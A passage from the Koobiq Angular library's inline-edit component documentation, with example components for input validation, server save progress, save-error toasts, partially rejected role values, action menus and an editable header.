                    [kbqTrigger]="'manual'"
                    [kbqTooltip]="'Numbers and dots only'"
                    [kbqTooltipColor]="tooltipColor"
                    [kbqTooltipArrow]="false"
                    (input)="onInput($event)"
                />
            </kbq-form-field>
        </kbq-inline-edit>
    `,
    styles: `
        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column'
    }
})
export class InlineEditValidationExample {
    protected readonly tooltip = viewChild(KbqTooltipTrigger);
    protected readonly tooltipPlacement = PopUpPlacements.BottomLeft;
    protected readonly tooltipColor = KbqComponentColors.Warning;
    protected readonly placeholder = 'Placeholder';

    protected readonly ipAddressControl = new FormControl<string>('192.168.0.2', {
        nonNullable: true,
        validators: [Validators.pattern(IP_PATTERN)]
    });
    protected readonly inputControl = new FormControl<string>('Value', {
        nonNullable: true,
        validators: [Validators.required]
    });

    onInput(event: Event): void {
        const allowedSymbolsRegex = /^[0-9.]+$/g;

        if (
            event.target instanceof HTMLInputElement &&
            event.target.value &&
            !allowedSymbolsRegex.test(event.target.value)
        ) {
            const newValue = event.target.value.replace(restSymbolsRegex, '');

            this.ipAddressControl.setValue(newValue);

            const tooltip = this.tooltip();

            if (tooltip && !tooltip.isOpen) {
                tooltip.show();

                setTimeout(() => tooltip.hide(), 3000);
            }
        }
    }
}
```

When certain characters are always invalid (e.g., letters in an IP address), block their input directly. Prevented characters do not appear, and a yellow tooltip explains why.

If the user clears a value, you can substitute either a default value or the last valid entry to avoid errors.

#### Saving to a server

The component owns the loading state: it closes the editor, keeps the timings, updates its own status and remembers the last saved value. Connect the stream of the request to the `saveHandler` property for that.

View mode renders the control's value: the editor closes before the server answers.

If the value still equals the one the editor opened with, no request is sent. `compareWith` decides that: the default compares with `===`, which suits text and numbers, so bind your own for arrays and objects, or `null` to send every time. A failed save is always retried.

The request outlives the field — removing the row doesn't cancel it. Provide `KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER` in the root injector if a failure has to be reported after that, because the `saveError` output goes away with the view.

##### Loading state

If the server responds within 100 ms, don't show a loading indicator. Otherwise, the field in view mode switches to the Progress state for at least 300 ms to avoid flickering. Edit mode cannot be reopened while the request is in flight.

**Example: Inline edit save progress** (`inline-edit-save-progress`)

```ts inline-edit-save-progress-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqInlineEditModule, KbqInlineEditSaveHandler } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { Observable, timer } from 'rxjs';

@Component({
    selector: 'inline-edit-save-progress-example',
    imports: [
        FormsModule,
        ReactiveFormsModule,
        KbqButtonToggleModule,
        KbqInlineEditModule,
        KbqInputModule,
        KbqTextareaModule
    ],
    template: `
        <div class="example-delay layout-column layout-gap-xs layout-margin-bottom-l">
            Server response time
            <kbq-button-toggle-group [ngModel]="delay()" (ngModelChange)="delay.set($event)">
                @for (option of delayOptions; track option) {
                    <kbq-button-toggle [value]="option">{{ option }} ms</kbq-button-toggle>
                }
            </kbq-button-toggle-group>
        </div>

        <kbq-inline-edit showActions [saveHandler]="save">
            <kbq-label>Name</kbq-label>

            <!-- View mode renders the control itself: editing closes before the server answers. -->
            <div class="example-inline-text" kbqInlineEditViewMode>
                @if (nameControl.value) {
                    {{ nameControl.value }}
                } @else {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput [placeholder]="placeholder" [formControl]="nameControl" />
            </kbq-form-field>
        </kbq-inline-edit>

        <kbq-inline-edit [saveHandler]="save">
            <kbq-label>Description</kbq-label>

            <div class="example-inline-text" kbqInlineEditViewMode>
                @if (descriptionControl.value) {
                    {{ descriptionControl.value }}
                } @else {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                }
            </div>
            <kbq-form-field kbqInlineEditEditMode>
                <textarea kbqTextarea [placeholder]="placeholder" [formControl]="descriptionControl"></textarea>
            </kbq-form-field>
        </kbq-inline-edit>
    `,
    styles: `
        /* Without this the group stretches to the column width and the four buttons huddle on the left. */
        .example-delay {
            align-self: flex-start;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column'
    }
})
export class InlineEditSaveProgressExample {
    protected readonly placeholder = 'Placeholder';
    protected readonly delayOptions = [100, 250, 500, 3000];
    protected readonly delay = signal(500);

    protected readonly nameControl = new FormControl('Security team', { nonNullable: true });
    protected readonly descriptionControl = new FormControl('Monitors incidents', { nonNullable: true });

    protected readonly save: KbqInlineEditSaveHandler = () => this.sendToServer();

    // Emulates a request; in a real project return the HttpClient observable.
    private sendToServer(): Observable<unknown> {
        return timer(this.delay());
    }
}
```

##### Save error

The value's background turns into the error color and stays that way until the user reacts. The entered value is kept in the field.

The message is shown by the application: set the shared reaction with the `KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER` token, override it for a single field with the `saveErrorHandler` property, or subscribe to the field's `saveError` output. The handler receives the error and the field itself, with its `retrySave()`, `toggleMode()` and `rollback()` actions.

The message doesn't hide on a timeout, and closing or dismissing it discards the unsaved value.

Cancelling the editor doesn't clear the failed state: the value is still the one the server refused, so the field stays marked until the save succeeds or `rollback()` discards it.

**Example: Inline edit save error** (`inline-edit-save-error`)

```ts inline-edit-save-error-example.ts
import { ChangeDetectionStrategy, Component, forwardRef, inject, TemplateRef, viewChild } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import {
    KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER,
    KbqInlineEdit,
    KbqInlineEditMode,
    KbqInlineEditModule,
    KbqInlineEditSaveErrorContext,
    KbqInlineEditSaveHandler
} from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastComponent, KbqToastModule, KbqToastService, KbqToastStyle } from '@koobiq/components/toast';
import { Observable, of, switchMap, throwError, timer } from 'rxjs';

const TAKEN_NAMES = ['Admins', 'Support'];

class ExampleSaveError extends Error {
    constructor(
        /** Name of the field the message is about. */
        readonly field: string,
        message: string,
        /** Whether the server rejected the value itself, as opposed to failing for another reason. */
        readonly invalidValue: boolean
    ) {
        super(message);
    }
}

@Component({
    selector: 'inline-edit-save-error-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        KbqButtonModule,
        KbqIconModule,
        KbqLink,
        KbqToastModule
    ],
    template: `
        <p class="example-intro layout-margin-top-none layout-margin-bottom-l">
            Save
            <span class="kbq-text-normal-strong">{{ takenNames }}</span>
            as the name to have the value rejected. Saving the description fails on the first attempt and succeeds on
            retry.
        </p>

        <kbq-inline-edit #nameEdit showActions [saveHandler]="saveName" (modeChange)="onModeChange($event, nameEdit)">
            <kbq-label>Name</kbq-label>

            <div class="example-inline-text" kbqInlineEditViewMode>{{ nameControl.value }}</div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput [formControl]="nameControl" />
            </kbq-form-field>
        </kbq-inline-edit>

        <kbq-inline-edit
            #descriptionEdit
            showActions
            [saveHandler]="saveDescription"
            (modeChange)="onModeChange($event, descriptionEdit)"
        >
            <kbq-label>Description</kbq-label>

            <div class="example-inline-text" kbqInlineEditViewMode>{{ descriptionControl.value }}</div>
            <kbq-form-field kbqInlineEditEditMode>
                <input kbqInput [formControl]="descriptionControl" />
            </kbq-form-field>
        </kbq-inline-edit>

        <ng-template #nameTitle>
            Couldn’t update the field
            <span class="kbq-text-normal-strong">Name</span>
        </ng-template>

        <ng-template #descriptionTitle>
            Couldn’t update the field
            <span class="kbq-text-normal-strong">Description</span>
        </ng-template>

        <!-- The failure is not about the value, so the same value is worth sending again. -->
        <ng-template #retryActions let-toast>
            <a kbqLink pseudo (click)="retry(toast)">Retry</a>
        </ng-template>

        <!-- The server rejected the value, so the user either fixes it or drops it. -->
        <ng-template #rejectedActions let-toast>
            <a kbqLink pseudo class="layout-margin-right-m" (click)="edit(toast)">Edit</a>
            <a kbqLink pseudo (click)="discard(toast)">Discard changes</a>
        </ng-template>

        <!-- Closing the notification without reacting discards the unsaved value as well. -->
        <ng-template #closeButton let-toast>
            <button
                type="button"
                kbq-toast-close-button
                kbq-icon-button="kbq-xmark-s_16"
                aria-label="Close"
                (click)="discard(toast)"
            ></button>
        </ng-template>
    `,
    styles: `
        /* Lines the text up with the inline edit content, which its own horizontal padding indents. */
        .example-intro {
            padding-inline: var(--kbq-size-s);
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
    `,
    providers: [
        {
            provide: KBQ_INLINE_EDIT_SAVE_ERROR_HANDLER,
            // The inline edits resolve the token while this component is already constructed, so it can hand out
            // its own method as the application-wide reaction to a failed save.
            useFactory:
                (example: InlineEditSaveErrorExample) => (context: KbqInlineEditSaveErrorContext<ExampleSaveError>) =>
                    example.showSaveErrorToast(context),
            deps: [forwardRef(() => InlineEditSaveErrorExample)]
        }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column'
    }
})
export class InlineEditSaveErrorExample {
    protected readonly takenNames = TAKEN_NAMES.join(', ');

    protected readonly nameControl = new FormControl('Security team', {
        nonNullable: true,
        validators: [Validators.required]
    });
    protected readonly descriptionControl = new FormControl('Monitors incidents', { nonNullable: true });

    protected readonly saveName: KbqInlineEditSaveHandler = () => this.saveNameOnServer(this.nameControl.value);
    protected readonly saveDescription: KbqInlineEditSaveHandler = () => this.saveDescriptionOnServer();

    private readonly toastService = inject(KbqToastService);
    private readonly nameTitle = viewChild.required<TemplateRef<unknown>>('nameTitle');
    private readonly descriptionTitle = viewChild.required<TemplateRef<unknown>>('descriptionTitle');
    private readonly retryActions = viewChild.required<TemplateRef<unknown>>('retryActions');
    private readonly rejectedActions = viewChild.required<TemplateRef<unknown>>('rejectedActions');
    private readonly closeButton = viewChild.required<TemplateRef<unknown>>('closeButton');

    /** Inline edit behind every open notification, so its buttons act on the field the notification is about. */
    private readonly failedSaves = new Map<number, KbqInlineEditSaveErrorContext<ExampleSaveError>>();
    private descriptionAttempts = 0;

    /** Reports a failed save the way the application does it — here, with a toast the user has to answer. */
    showSaveErrorToast(context: KbqInlineEditSaveErrorContext<ExampleSaveError>): void {
        const { error } = context;

        const { id } = this.toastService.show(
            {
                style: KbqToastStyle.Error,
                title: error.field === 'Name' ? this.nameTitle() : this.descriptionTitle(),
                caption: error.message,
                actions: error.invalidValue ? this.rejectedActions() : this.retryActions(),
                closeButton: this.closeButton()
            },
            // The notification carries the only way back, so it never hides on its own.
            0
        );

        this.failedSaves.set(id, context);
    }

    /** A field opened for editing again makes its notification pointless: it is about the value being changed. */
    protected onModeChange(mode: KbqInlineEditMode, inlineEdit: KbqInlineEdit): void {
        if (mode !== 'edit') return;

        for (const [id, context] of this.failedSaves) {
            if (context.inlineEdit === inlineEdit) {
                this.toastService.hide(id);
                this.failedSaves.delete(id);
            }
        }
    }

    protected retry(toast: KbqToastComponent): void {
        this.take(toast)?.inlineEdit.retrySave();
        toast.close();
    }

    protected edit(toast: KbqToastComponent): void {
        this.take(toast)?.inlineEdit.toggleMode();
        toast.close();
    }

    protected discard(toast: KbqToastComponent): void {
        this.take(toast)?.inlineEdit.rollback();
        toast.close();
    }

    private take(toast: KbqToastComponent): KbqInlineEditSaveErrorContext<ExampleSaveError> | undefined {
        const context = this.failedSaves.get(toast.id);

        this.failedSaves.delete(toast.id);

        return context;
    }

    // The methods below emulate requests; in a real project return the HttpClient observable.
    private saveNameOnServer(value: string): Observable<unknown> {
        return timer(1000).pipe(
            switchMap(() =>
                TAKEN_NAMES.includes(value.trim())
                    ? throwError(() => new ExampleSaveError('Name', `The name «${value}» is already taken`, true))
                    : of(value)
            )
        );
    }

    private saveDescriptionOnServer(): Observable<unknown> {
        const attempt = ++this.descriptionAttempts;

        return timer(1000).pipe(
            switchMap(() =>
                attempt % 2 === 1
                    ? throwError(
                          () => new ExampleSaveError('Description', 'The server is not responding. Try again', false)
                      )
                    : of(null)
            )
        );
    }
}
```

When the server rejects part of the value rather than all of it, match the rejected items against what view mode shows and mark only those.

**Example: Inline edit save invalid items** (`inline-edit-save-invalid-items`)

```ts inline-edit-save-invalid-items-example.ts
import { ChangeDetectionStrategy, Component, inject, signal, TemplateRef, viewChild } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import {
    KbqInlineEditMode,
    KbqInlineEditModule,
    KbqInlineEditSaveErrorContext,
    KbqInlineEditSaveHandler
} from '@koobiq/components/inline-edit';
import { KbqLink } from '@koobiq/components/link';
import { KbqSelectModule } from '@koobiq/components/select';
import { KbqTagsModule } from '@koobiq/components/tags';
import { KbqToastComponent, KbqToastModule, KbqToastService, KbqToastStyle } from '@koobiq/components/toast';
import { Observable, of, switchMap, throwError, timer } from 'rxjs';

const ROLES = ['user:read', 'user:create', 'user:update', 'user:delete', 'audit:read'];
/** Roles the fake server refuses to grant. */
const FORBIDDEN_ROLES = ['user:delete', 'user:update'];

class ExampleRolesError extends Error {
    constructor(readonly rejectedRoles: string[]) {
        super(`These roles are not available: ${rejectedRoles.join(', ')}`);
    }
}

@Component({
    selector: 'inline-edit-save-invalid-items-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqSelectModule,
        KbqBadgeModule,
        KbqButtonModule,
        KbqIconModule,
        KbqLink,
        KbqTagsModule,
        KbqToastModule
    ],
    template: `
        <p class="example-intro layout-margin-top-none layout-margin-bottom-l">
            Add
            <span class="kbq-text-normal-strong">{{ forbiddenRoles }}</span>
            to the roles to have the server reject them.
        </p>

        <kbq-inline-edit
            showActions
            [saveHandler]="save"
            (saved)="rejectedRoles.set([])"
            (saveError)="showToast($event)"
            (modeChange)="onModeChange($event)"
        >
            <kbq-label>Roles</kbq-label>

            <div class="layout-row layout-gap-xxs" style="flex-wrap: wrap;" kbqInlineEditViewMode>
                @for (role of control.value; track role) {
                    <!-- The server reports which values it refused, so only those badges turn into the error state. -->
                    <kbq-badge
                        [badgeColor]="rejectedRoles().includes(role) ? badgeColors.Error : badgeColors.FadeContrast"
                    >
                        {{ role }}
                    </kbq-badge>
                } @empty {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                }
            </div>

            <kbq-form-field kbqInlineEditEditMode>
                <kbq-select multiple [placeholder]="placeholder" [formControl]="control">
                    @for (role of roles; track role) {
                        <kbq-option [value]="role">{{ role }}</kbq-option>
                    }

                    <!-- The tags carry the same marks as the badges, so the refused role is visible while editing. -->
                    <ng-template #kbqSelectTagContent let-option let-select="select">
                        <kbq-tag
                            [selectable]="false"
                            [disabled]="option.disabled || select.disabled()"
                            [color]="rejectedRoles().includes(option.value) ? tagColors.Error : tagColors.ContrastFade"
                        >
                            {{ option.viewValue }}
                            <!-- The custom template replaces the built-in markup, so the remove control is up to us. -->
                            @if (!option.disabled && !select.disabled()) {
                                <i
                                    kbq-icon="kbq-xmark-s_16"
                                    kbqTagRemove
                                    (click)="select.onRemoveMatcherItem(option, $event)"
                                ></i>
                            }
                        </kbq-tag>
                    </ng-template>
                </kbq-select>
            </kbq-form-field>
        </kbq-inline-edit>

        <ng-template #title>
            Couldn’t update the field
            <span class="kbq-text-normal-strong">Roles</span>
        </ng-template>

        <ng-template #actions let-toast>
            <a kbqLink pseudo class="layout-margin-right-m" (click)="edit(toast)">Edit</a>
            <a kbqLink pseudo (click)="discard(toast)">Discard changes</a>
        </ng-template>

        <!-- Closing the notification without reacting discards the unsaved value as well. -->
        <ng-template #closeButton let-toast>
            <button
                type="button"
                kbq-toast-close-button
                kbq-icon-button="kbq-xmark-s_16"
                aria-label="Close"
                (click)="discard(toast)"
            ></button>
        </ng-template>
    `,
    styles: `
        /* Lines the text up with the inline edit content, which its own horizontal padding indents. */
        .example-intro {
            padding-inline: var(--kbq-size-s);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column'
    }
})
export class InlineEditSaveInvalidItemsExample {
    protected readonly placeholder = 'Placeholder';
    protected readonly roles = ROLES;
    protected readonly badgeColors = KbqBadgeColors;
    protected readonly tagColors = KbqComponentColors;

    protected readonly forbiddenRoles = FORBIDDEN_ROLES.join(', ');

    protected readonly control = new FormControl<string[]>(['user:read', 'user:create'], { nonNullable: true });
    /** Values of the last failed save the server refused, matched against the badges in view mode. */
    protected readonly rejectedRoles = signal<string[]>([]);

    protected readonly save: KbqInlineEditSaveHandler = () => this.saveOnServer(this.control.value);

    private readonly toastService = inject(KbqToastService);
    private readonly title = viewChild.required<TemplateRef<unknown>>('title');
    private readonly actions = viewChild.required<TemplateRef<unknown>>('actions');
    private readonly closeButton = viewChild.required<TemplateRef<unknown>>('closeButton');
    private failedSave: KbqInlineEditSaveErrorContext<ExampleRolesError> | null = null;
    private toastId: number | null = null;

    constructor() {
        // Editing the value drops the marks: they belong to the values that were sent.
        this.control.valueChanges.pipe(takeUntilDestroyed()).subscribe(() => this.rejectedRoles.set([]));
    }

    protected showToast(context: KbqInlineEditSaveErrorContext<ExampleRolesError>): void {
        const { error } = context;

        this.rejectedRoles.set(error.rejectedRoles);
        this.failedSave = context;

        const { id } = this.toastService.show(
            {
                style: KbqToastStyle.Error,
                title: this.title(),
                caption: error.message,
                actions: this.actions(),
                closeButton: this.closeButton()
            },
            0
        );

        this.toastId = id;
    }

    /** The field is being edited again, so the notification about the previous attempt has nothing left to say. */
    protected onModeChange(mode: KbqInlineEditMode): void {
        if (mode === 'edit') {
            this.hideToast();
        }
    }

    protected edit(toast: KbqToastComponent): void {
        this.failedSave?.inlineEdit.toggleMode();
        toast.close();
        this.toastId = null;
    }

    protected discard(toast: KbqToastComponent): void {
        this.failedSave?.inlineEdit.rollback();
        toast.close();
        this.toastId = null;
    }

    private hideToast(): void {
        if (this.toastId === null) return;

        this.toastService.hide(this.toastId);
        this.toastId = null;
    }

    // Emulates a request; in a real project return the HttpClient observable.
    private saveOnServer(value: string[]): Observable<unknown> {
        const rejected = value.filter((role) => FORBIDDEN_ROLES.includes(role));

        return timer(1000).pipe(
            switchMap(() => (rejected.length ? throwError(() => new ExampleRolesError(rejected)) : of(value)))
        );
    }
}
```

#### Action menu

On hover or focus, an action button or menu can appear on the right side of the field: copy text, add value to filter, clear field, fill from template.

These actions are visually separated from the main value and placed in the top-right corner. When the menu is open, both the highlight and the icon remain visible.

**Example: Inline edit menu** (`inline-edit-menu`)

```ts inline-edit-menu-example.ts
import { Clipboard } from '@angular/cdk/clipboard';
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component, inject, signal } from '@angular/core';
import { FormControl, FormGroup, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconButton } from '@koobiq/components/icon';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'inline-edit-menu-example',
    imports: [
        FormsModule,
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        KbqIconButton,
        KbqDropdownModule,
        KbqTextareaModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqToolTipModule,
        NgTemplateOutlet
    ],
    template: `
        <div role="group" class="layout-flex layout-column flex" aria-label="vertical list">
            <span class="kbq-text-normal-strong">Vertical list</span>

            <div class="layout-flex layout-column example-content__container">
                <kbq-inline-edit #textareaInlineEditVertical showActions (saved)="update()">
                    <kbq-label>Style</kbq-label>
                    <i
                        kbqInlineEditMenu
                        kbq-icon-button="kbq-ellipsis-vertical_16"
                        [kbqDropdownTriggerFor]="dropdown"
                        [color]="'contrast-fade'"
                    ></i>
                    <div kbqInlineEditViewMode class="example-inline-text__textarea-view">
                        <ng-container *ngTemplateOutlet="view; context: { $implicit: displayValue() }" />
                    </div>

                    <div kbqInlineEditEditMode>
                        @if (textareaInlineEditVertical.mode() === 'edit') {
                            <kbq-form-field>
                                <textarea
                                    kbqTextarea
                                    [maxRows]="maxRows"
                                    [placeholder]="placeholder"
                                    [formControl]="form.controls.style"
                                ></textarea>
                            </kbq-form-field>
                        }
                    </div>
                </kbq-inline-edit>

                <kbq-inline-edit>
                    <i
                        kbqInlineEditMenu
                        kbq-icon-button="kbq-undo_16"
                        [kbqTooltip]="'Reset to default value: 1991'"
                        [kbqTooltipArrow]="false"
                        [color]="'contrast-fade'"
                        (click)="form.controls.foundDate.setValue('1991')"
                    ></i>
                    <kbq-label>Founded</kbq-label>
                    <div class="example-inline-text" kbqInlineEditViewMode>
                        <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.foundDate.value }" />
                    </div>
                    <kbq-form-field kbqInlineEditEditMode>
                        <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.foundDate" />
                    </kbq-form-field>
                </kbq-inline-edit>
            </div>
        </div>

        <div role="group" class="layout-flex layout-column layout-gap-xs" aria-label="horizontal list">
            <span class="kbq-text-normal-strong">Horizontal list</span>

            <kbq-dl [vertical]="false">
                <kbq-dt class="example-multiline-text__header">Style</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit #textareaInlineEditHorizontal showActions (saved)="update()">
                        <i
                            kbqInlineEditMenu
                            kbq-icon-button="kbq-ellipsis-vertical_16"
                            [kbqDropdownTriggerFor]="dropdown"
                            [color]="'contrast-fade'"
                        ></i>
                        <div kbqInlineEditViewMode class="example-inline-text__textarea-view">
                            <ng-container *ngTemplateOutlet="view; context: { $implicit: displayValue() }" />
                        </div>
                        <div kbqInlineEditEditMode>
                            @if (textareaInlineEditHorizontal.mode() === 'edit') {
                                <kbq-form-field>
                                    <textarea
                                        kbqTextarea
                                        [maxRows]="maxRows"
                                        [placeholder]="placeholder"
                                        [formControl]="form.controls.style"
                                    ></textarea>
                                </kbq-form-field>
                            }
                        </div>
                    </kbq-inline-edit>
                </kbq-dd>

                <kbq-dt>Founded</kbq-dt>
                <kbq-dd>
                    <kbq-inline-edit>
                        <i
                            kbqInlineEditMenu
                            kbq-icon-button="kbq-undo_16"
                            [kbqTooltip]="'Reset to default value: 1991'"
                            [kbqTooltipArrow]="false"
                            [color]="'contrast-fade'"
                            (click)="form.controls.foundDate.setValue('1991')"
                        ></i>
                        <div class="example-inline-text" kbqInlineEditViewMode>
                            <ng-container
                                *ngTemplateOutlet="view; context: { $implicit: form.controls.foundDate.value }"
                            />
                        </div>

                        <kbq-form-field kbqInlineEditEditMode>
                            <input kbqInput [placeholder]="placeholder" [formControl]="form.controls.foundDate" />
                        </kbq-form-field>
                    </kbq-inline-edit>
                </kbq-dd>
            </kbq-dl>
        </div>

        <ng-template #view let-templateValue>
            @if (!templateValue) {
                <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
            } @else {
                <span>{{ templateValue }}</span>
            }
        </ng-template>

        <kbq-dropdown #dropdown="kbqDropdown">
            <button kbq-dropdown-item (click)="clipboard.copy(form.controls.style.value)">Copy text</button>
            <button kbq-dropdown-item (click)="clipboard.copy(form.controls.style.value)">Acti</button>
        </kbq-dropdown>
    `,
    styles: `
        div[role='group'] {
            width: 100%;
        }

        .kbq-dl {
            grid-template-columns: unset;
            --kbq-description-list-size-horizontal-content-gap-horizontal: var(--kbq-size-xxs);
            --kbq-description-list-size-horizontal-gap-vertical: var(--kbq-size-3xs);
        }

        .kbq-dt {
            width: 68px;
            display: inline-flex;
            align-items: center;
        }

        .example-inline-text {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }

        .example-inline-text__textarea-view {
            overflow: hidden;
            white-space: pre-wrap;
        }

        .example-multiline-text__header {
            padding-top: var(--kbq-size-xs);
            align-items: flex-start;
        }

        .example-content__container {
            margin-left: -8px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column layout-gap-m'
    }
})
export class InlineEditMenuExample {
    protected readonly maxRows = 20;
    protected readonly clipboard = inject(Clipboard);
    protected readonly placeholder = 'Placeholder';

    protected readonly form = new FormGroup({
        style: new FormControl(
            'Spanish football is characterized by technical skill, tactical innovation, and fierce regional rivalries.',
            { nonNullable: true }
        ),
        foundDate: new FormControl('1929')
    });
    protected readonly displayValue = signal(this.form.controls.style.value);

    protected update(): void {
        this.displayValue.set(this.form.controls.style.value);
    }
}
```

#### Switching modes

The editor can be opened and closed programmatically: bind `[(mode)]` and set it to `'edit'` or `'view'`.

#### Usage examples

##### Editable header

**Example: Inline edit editable header** (`inline-edit-editable-header`)

```ts inline-edit-editable-header-example.ts
import { ChangeDetectionStrategy, Component, ElementRef, signal, viewChild } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqTextareaModule } from '@koobiq/components/textarea';

@Component({
    selector: 'inline-edit-editable-header-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqTextareaModule
    ],
    template: `
        <kbq-inline-edit #inlineEdit [canSaveOnEnter]="canSaveOnEnterFn" (saved)="onSave()">
            <div kbqInlineEditViewMode>
                @if (!displayValue()) {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                } @else {
                    <h2 #displayValueElement class="kbq-headline example-inline-edit__display-value">
                        {{ displayValue() }}
                    </h2>
                }
            </div>
            <div class="example-textarea_editable-header" kbqInlineEditEditMode>
                <!-- defer textarea render to calc inner styles correctly -->
                @if (inlineEdit.mode() === 'edit') {
                    <kbq-form-field>
                        <textarea
                            kbqTextarea
                            [rows]="1"
                            [freeRowsHeight]="0"
                            [maxRows]="maxRows"
                            [placeholder]="placeholder"
                            [formControl]="control"
                            [style.height.px]="displayValueElement()?.nativeElement?.clientHeight ?? null"
                            (paste)="onPaste()"
                        ></textarea>
                    </kbq-form-field>
                }
            </div>
        </kbq-inline-edit>
        <div>{{ content }}</div>
    `,
    styles: `
        :host .kbq-inline-edit {
            width: calc(100% + 12px);
            margin-left: -6px;
            --kbq-inline-edit-padding-vertical: 3px;
            --kbq-inline-edit-padding-horizontal: 5px;
        }

        .example-inline-edit__display-value {
            margin: 0;
            overflow-wrap: break-word;
        }

        .kbq-textarea {
            font-size: var(--kbq-typography-headline-font-size);
            font-weight: var(--kbq-typography-headline-font-weight);
            line-height: var(--kbq-typography-headline-line-height);
            font-family: var(--kbq-typography-headline-font-family);
            text-transform: var(--kbq-typography-headline-text-transform);
            font-feature-settings: var(--kbq-typography-headline-font-feature-settings);
            letter-spacing: var(--kbq-typography-headline-letter-spacing);
            --kbq-textarea-size-padding-vertical: 3px;
            --kbq-textarea-size-padding-horizontal: 5px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-flex layout-column layout-gap-s'
    }
})
export class InlineEditEditableHeaderExample {
    protected readonly maxRows = 5;
    protected readonly placeholder = 'Placeholder';
    protected readonly control = new FormControl('Spain', { nonNullable: true });
    protected readonly displayValue = signal(this.control.value);
    protected readonly content =
        "Spanish football is characterized by technical skill, tactical innovation, and fierce regional rivalries. La Liga, founded in 1929, features some of the world's best clubs. Spain's national team dominated world football from 2008-2012, winning two European Championships and a World Cup with their 'tiki-taka' style.";

    protected readonly displayValueElement = viewChild<ElementRef<HTMLElement>>('displayValueElement');

    protected onSave(): void {
        if (!this.control.value) {
            this.control.setValue(this.control.defaultValue);
        }

        this.displayValue.set(this.control.value);
    }

    protected canSaveOnEnterFn = () => true;

    protected onPaste() {
        setTimeout(() => {
            this.control.setValue(this.control.value.replace(/\n/g, ' '));
        });
    }
}
```

##### Content alignment

Inline-editable elements should remain aligned with their appearance in view mode. Do not account for extra padding or spacing that may appear when the element is hovered, focused, or in edit mode.

**Example: Inline edit content alignment** (`inline-edit-content-alignment`)

```ts inline-edit-content-alignment-example.ts
import { NgTemplateOutlet } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { KbqAlertModule } from '@koobiq/components/alert';
import { KbqInlineEditModule } from '@koobiq/components/inline-edit';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'inline-edit-content-alignment-example',
    imports: [
        ReactiveFormsModule,
        KbqInlineEditModule,
        KbqInputModule,
        NgTemplateOutlet,
        KbqAlertModule
    ],
    template: `
        <div class="example__hover-divider"></div>
        <kbq-alert
            class="layout-margin-bottom-xs"
            style="width: 100%"
            [alertColor]="'warning'"
            [alertStyle]="'colored'"
            [compact]="true"
        >
            Parameters with inline editing are visually left-aligned with other elements on the screen
        </kbq-alert>

        <form [formGroup]="form">
            <kbq-inline-edit>
                <kbq-label>Country</kbq-label>

                <div class="example-inline-text" kbqInlineEditViewMode>
                    <ng-container *ngTemplateOutlet="view; context: { $implicit: form.controls.country.value }" />
                </div>
                <kbq-form-field kbqInlineEditEditMode>
